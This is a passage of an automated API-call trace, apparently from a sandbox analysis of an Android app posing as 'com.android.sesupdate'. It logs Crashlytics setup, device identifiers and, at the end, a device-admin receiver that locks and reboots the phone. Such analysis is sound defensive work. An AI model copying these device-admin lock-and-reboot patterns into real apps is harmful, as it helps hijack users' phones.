                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://e.crashlytics.com/spi/v2/events
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->access$000 at ..:7 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: com.crashlytics.android.answers.Answers->getPath at ..:19 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android:answers
                          API: io.fabric.sdk.android.FabricContext->getPackageName at ..:33 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: com.crashlytics.android.core.CrashlyticsCore->getPath at ..:19 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: io.fabric.sdk.android.FabricContext->getPackageName at ..:33 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.Onboarding->getPath at ..:19 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: .Fabric/io.fabric.sdk.android:fabric
                          API: io.fabric.sdk.android.FabricContext->getPackageName at ..:33 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/io.fabric.sdk.android:fabric
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/io.fabric.sdk.android:fabric
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File->exists at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File-><init> at ..:4 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: com.crashlytics.android.core.CrashlyticsCore->getClass at ..:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          API: io.fabric.sdk.android.Onboarding->getClass at ..:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class io.fabric.sdk.android.Onboarding
                          • getName: io.fabric.sdk.android.Onboarding
                          API: io.fabric.sdk.android.Fabric->isDebuggable at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: android.app.SharedPreferencesImpl->getString at ..:11 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: existing_instance_identifier
                          p1java.lang.String
                          • toString: ""
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: ""
                          API: io.fabric.sdk.android.services.settings.DefaultSettingsController->getStoredBuildInstanceIdentifier at ..:2 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: ""
                          API: android.content.res.Resources->getString at ..:10 Show source
                          NameTypeValue
                          idjava.lang.Integer
                          • toString: 2131034113
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: edbc48a3-7084-4623-be9d-a00d32277bfa
                          API: io.fabric.sdk.android.services.settings.DefaultSettingsController->getBuildInstanceIdentifierFromContext at ..:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: io.fabric.sdk.android.services.settings.DefaultSettingsController->buildInstanceIdentifierChanged at ..:8 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File-><init> at ..:34 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/io.fabric.sdk.android:fabric
                          p1java.lang.String
                          • toString: com.crashlytics.settings.json
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/io.fabric.sdk.android:fabric/com.crashlytics.settings.json
                          API: java.io.FileWriter-><init> at ..:34 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/io.fabric.sdk.android:fabric/com.crashlytics.settings.json
                          NameTypeValue
                          Return Valuejava.io.FileWriter
                          • toString: java.io.FileWriter@449d2cd
                          API: org.json.JSONObject->toString at ..:20 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: {"settings_version":2,"cache_duration":60,"features":{"collect_logged_exceptions":true,"collect_reports":true,"collect_analytics":true,"prompt_enabled":false,"push_enabled":true,"firebase_crashlytics_enabled":false},"analytics":{"url":"https:\/\/e.crashlytics.com\/spi\/v2\/events","flush_interval_secs":120,"max_file_count_per_send":1,"track_custom_events":true,"track_predefined_events":true,"track_view_controllers":false,"flush_on_background":true,"max_byte_size_per_file":40000,"max_pending_send_file_count":20,"sampling_rate":1,"forward_to_google_analytics":false,"include_purchase_events_in_forwarded_events":false},"beta":{"update_suspend_duration":1209600,"update_endpoint":""},"app":{"identifier":"com.android.sesupdate","status":"activated","url":"https:\/\/api.crashlytics.com\/spi\/v1\/platforms\/android\/apps\/com.android.sesupdate","reports_url":"https:\/\/reports.crashlytics.com\/spi\/v1\/platforms\/android\/apps\/com.android.sesupdate\/reports","ndk_reports_url":"https:\/\/reports.crashlytics.com\/sdk-a
                          API: android.content.res.Resources->getString at ..:10 Show source
                          NameTypeValue
                          idjava.lang.Integer
                          • toString: 2131034113
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: edbc48a3-7084-4623-be9d-a00d32277bfa
                          API: io.fabric.sdk.android.services.settings.DefaultSettingsController->getBuildInstanceIdentifierFromContext at ..:40 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a70c5b872411d0a0d40da8f7f831148fe10d2556
                          API: io.fabric.sdk.android.Onboarding->getVersion at ..:20 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: io.fabric.sdk.android.services.settings.DefaultSettingsSpiCall->getUrl at ..:27 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings
                          API: io.fabric.sdk.android.services.network.HttpRequest->body at ..:31 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: {"settings_version":2,"cache_duration":60,"features":{"collect_logged_exceptions":true,"collect_reports":true,"collect_analytics":true,"prompt_enabled":false,"push_enabled":true,"firebase_crashlytics_enabled":false},"analytics":{"url":"https://e.crashlytics.com/spi/v2/events","flush_interval_secs":120,"max_file_count_per_send":1,"track_custom_events":true,"track_predefined_events":true,"track_view_controllers":false,"flush_on_background":true,"max_byte_size_per_file":40000,"max_pending_send_file_count":20,"sampling_rate":1,"forward_to_google_analytics":false,"include_purchase_events_in_forwarded_events":false},"beta":{"update_suspend_duration":1209600,"update_endpoint":""},"app":{"identifier":"com.android.sesupdate","status":"activated","url":"https://api.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate","reports_url":"https://reports.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate/reports","ndk_reports_url":"https://reports.crashlytics.com/sdk-api/v1/platforms/android/a
                          API: org.json.JSONObject.org.json->JSONObject at ..:4 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: {"settings_version":2,"cache_duration":60,"features":{"collect_logged_exceptions":true,"collect_reports":true,"collect_analytics":true,"prompt_enabled":false,"push_enabled":true,"firebase_crashlytics_enabled":false},"analytics":{"url":"https://e.crashlytics.com/spi/v2/events","flush_interval_secs":120,"max_file_count_per_send":1,"track_custom_events":true,"track_predefined_events":true,"track_view_controllers":false,"flush_on_background":true,"max_byte_size_per_file":40000,"max_pending_send_file_count":20,"sampling_rate":1,"forward_to_google_analytics":false,"include_purchase_events_in_forwarded_events":false},"beta":{"update_suspend_duration":1209600,"update_endpoint":""},"app":{"identifier":"com.android.sesupdate","status":"activated","url":"https://api.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate","reports_url":"https://reports.crashlytics.com/spi/v1/platforms/android/apps/com.android.sesupdate/reports","ndk_reports_url":"https://reports.crashlytics.com/sdk-api/v1/platforms/android/a
                          NameTypeValue
                          Return Valueorg.json.JSONObject
                          • toString: {"settings_version":2,"cache_duration":60,"features":{"collect_logged_exceptions":true,"collect_reports":true,"collect_analytics":true,"prompt_enabled":false,"push_enabled":true,"firebase_crashlytics_enabled":false},"analytics":{"url":"https:\/\/e.crashlytics.com\/spi\/v2\/events","flush_interval_secs":120,"max_file_count_per_send":1,"track_custom_events":true,"track_predefined_events":true,"track_view_controllers":false,"flush_on_background":true,"max_byte_size_per_file":40000,"max_pending_send_file_count":20,"sampling_rate":1,"forward_to_google_analytics":false,"include_purchase_events_in_forwarded_events":false},"beta":{"update_suspend_duration":1209600,"update_endpoint":""},"app":{"identifier":"com.android.sesupdate","status":"activated","url":"https:\/\/api.crashlytics.com\/spi\/v1\/platforms\/android\/apps\/com.android.sesupdate","reports_url":"https:\/\/reports.crashlytics.com\/spi\/v1\/platforms\/android\/apps\/com.android.sesupdate\/reports","ndk_reports_url":"https:\/\/reports.crashlytics.com\/sdk-a
                          API: io.fabric.sdk.android.services.common.IdManager->getAppIdentifier at ..:22 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: io.fabric.sdk.android.services.common.IdManager->getInstallerPackageName at ..:32 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: android.content.res.Resources->openRawResources at ..:46 Show source
                          NameTypeValue
                          p0java.lang.Integer
                          • toString: 2130837504
                          NameTypeValue
                          Return Valueandroid.content.res.AssetManager$AssetInputStream
                          • toString: android.content.res.AssetManager$AssetInputStream@362773e
                          API: io.fabric.sdk.android.services.common.IdManager->getModelName at ..:71 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: samsung/Galaxy Nexus
                          API: io.fabric.sdk.android.services.common.IdManager->getOsBuildVersionString at ..:74 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 50
                          API: io.fabric.sdk.android.services.common.IdManager->getOsDisplayVersionString at ..:77 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 4.2.1
                          API: io.fabric.sdk.android.services.common.IdManager->getAdvertisingId at ..:80 Show source
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: io.fabric.sdk.android.services.common.IdManager->getAppInstallIdentifier at ..:83 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: io.fabric.sdk.android.services.common.IdManager->getAndroidId at ..:86 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: android.content.res.Resources->getString at ..:92 Show source
                          NameTypeValue
                          idjava.lang.Integer
                          • toString: 2131034113
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: edbc48a3-7084-4623-be9d-a00d32277bfa
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.ActivityLifecycleManager.<init>:5 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at io.fabric.sdk.android.ActivityLifecycleManager.<init>:5 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: com.crashlytics.android.Crashlytics->getClass at io.fabric.sdk.android.Fabric.addToKitMap:30 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.Crashlytics
                          • getName: com.crashlytics.android.Crashlytics
                          API: com.crashlytics.android.answers.Answers->getClass at io.fabric.sdk.android.Fabric.addToKitMap:30 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.answers.Answers
                          • getName: com.crashlytics.android.answers.Answers
                          API: com.crashlytics.android.beta.Beta->getClass at io.fabric.sdk.android.Fabric.addToKitMap:30 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          API: com.crashlytics.android.core.CrashlyticsCore->getClass at io.fabric.sdk.android.Fabric.addToKitMap:30 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          API: io.fabric.sdk.android.FabricKitsFinder.io.fabric.sdk.android->FabricKitsFinder at io.fabric.sdk.android.Fabric.getKitsFinderFuture:21 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/app/com.android.sesupdate-1/base.apk
                          NameTypeValue
                          Return Valueio.fabric.sdk.android.FabricKitsFinder
                          • toString: io.fabric.sdk.android.FabricKitsFinder@2edc2093
                          API: com.crashlytics.android.Crashlytics->getClass at io.fabric.sdk.android.Fabric.addAnnotatedDependencies:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.Crashlytics
                          • getName: com.crashlytics.android.Crashlytics
                          API: com.crashlytics.android.core.CrashlyticsCore->getClass at io.fabric.sdk.android.Fabric.addAnnotatedDependencies:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.core.CrashlyticsCore
                          • getName: com.crashlytics.android.core.CrashlyticsCore
                          API: com.crashlytics.android.beta.Beta->getClass at io.fabric.sdk.android.Fabric.addAnnotatedDependencies:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.beta.Beta
                          • getName: com.crashlytics.android.beta.Beta
                          API: com.crashlytics.android.answers.Answers->getClass at io.fabric.sdk.android.Fabric.addAnnotatedDependencies:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.crashlytics.android.answers.Answers
                          • getName: com.crashlytics.android.answers.Answers
                          API: java.io.File-><init> at io.fabric.sdk.android.FabricContext.getFilesDir:8 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File-><init> at io.fabric.sdk.android.FabricContext.getFilesDir:8 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          API: java.io.File-><init> at io.fabric.sdk.android.FabricContext.getFilesDir:8 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files
                          p1java.lang.String
                          • toString: .Fabric/com.crashlytics.sdk.android:answers
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers
                          API: io.fabric.sdk.android.KitInfo->getIdentifier at io.fabric.sdk.android.FabricKitsFinder.findRegisteredKits:59 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          API: io.fabric.sdk.android.KitInfo->getIdentifier at io.fabric.sdk.android.FabricKitsFinder.findRegisteredKits:74 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          API: io.fabric.sdk.android.KitInfo->getVersion at io.fabric.sdk.android.FabricKitsFinder.findRegisteredKits:79 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 2.4.1
                          API: io.fabric.sdk.android.KitInfo->getIdentifier at io.fabric.sdk.android.FabricKitsFinder.findRegisteredKits:59 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android:crashlytics
                          API: io.fabric.sdk.android.services.common.IdManager->getInstallerPackageName at io.fabric.sdk.android.Onboarding.onPreExecute:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: io.fabric.sdk.android.FabricContext->getPackageName at io.fabric.sdk.android.Onboarding.onPreExecute:20 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.content.res.Resources->openRawResources at io.fabric.sdk.android.Onboarding.doInBackground:5 Show source
                          NameTypeValue
                          p0java.lang.Integer
                          • toString: 2130837504
                          NameTypeValue
                          Return Valueandroid.content.res.AssetManager$AssetInputStream
                          • toString: android.content.res.AssetManager$AssetInputStream@5985063
                          API: io.fabric.sdk.android.Onboarding->getOverridenSpiEndpoint at io.fabric.sdk.android.Onboarding.retrieveSettingsData:13 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: ""
                          API: io.fabric.sdk.android.services.settings.Settings->loadSettingsData at io.fabric.sdk.android.Onboarding.retrieveSettingsData:20 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.Crashlytics->getIdentifier at io.fabric.sdk.android.Onboarding.mergeKits:32 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android:crashlytics
                          API: com.crashlytics.android.core.CrashlyticsCore->getIdentifier at io.fabric.sdk.android.Onboarding.mergeKits:32 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android.crashlytics-core
                          API: com.crashlytics.android.beta.Beta->getIdentifier at io.fabric.sdk.android.Onboarding.mergeKits:32 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android:beta
                          API: com.crashlytics.android.answers.Answers->getIdentifier at io.fabric.sdk.android.Onboarding.mergeKits:32 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.crashlytics.sdk.android:answers
                          API: io.fabric.sdk.android.Onboarding->doInBackground at io.fabric.sdk.android.Onboarding.doInBackground:2 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: android.content.Context->getSystemService at com.android.sesupdate.receivers.DeviceAdmin$1.run:6 Show source
                          API: android.content.ComponentName-><init> at com.android.sesupdate.receivers.DeviceAdmin$1.run:14 Show source
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.receivers.DeviceAdmin$1.run:16 Show source
                          API: android.content.Intent-><init> at com.android.sesupdate.receivers.DeviceAdmin$1.run:26 Show source
                          API: android.content.Context->startService at com.android.sesupdate.receivers.DeviceAdmin$1.run:28 Show source
                          API: android.app.admin.DevicePolicyManager->lockNow at com.android.sesupdate.receivers.DeviceAdmin$1.run:30 Show source
                          API: android.os.Handler-><init> at com.android.sesupdate.receivers.DeviceAdmin$1.run:36 Show source
                          API: android.os.Handler->postDelayed at com.android.sesupdate.receivers.DeviceAdmin$1.run:43 Show source
                          API: android.content.ComponentName-><init> at com.android.sesupdate.receivers.DeviceAdmin$1.run:54 Show source
                          API: android.app.admin.DevicePolicyManager->reboot at com.android.sesupdate.receivers.DeviceAdmin$1.run:56 Show source
                          API: java.lang.Object-><init> at com.android.sesupdate.receivers.DeviceAdmin$1.<init>:5 Show source
                          API: java.lang.Object-><init> at com.android.sesupdate.R.<init>:2 Show source
                          API: java.util.List->iterator at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:39 Show source
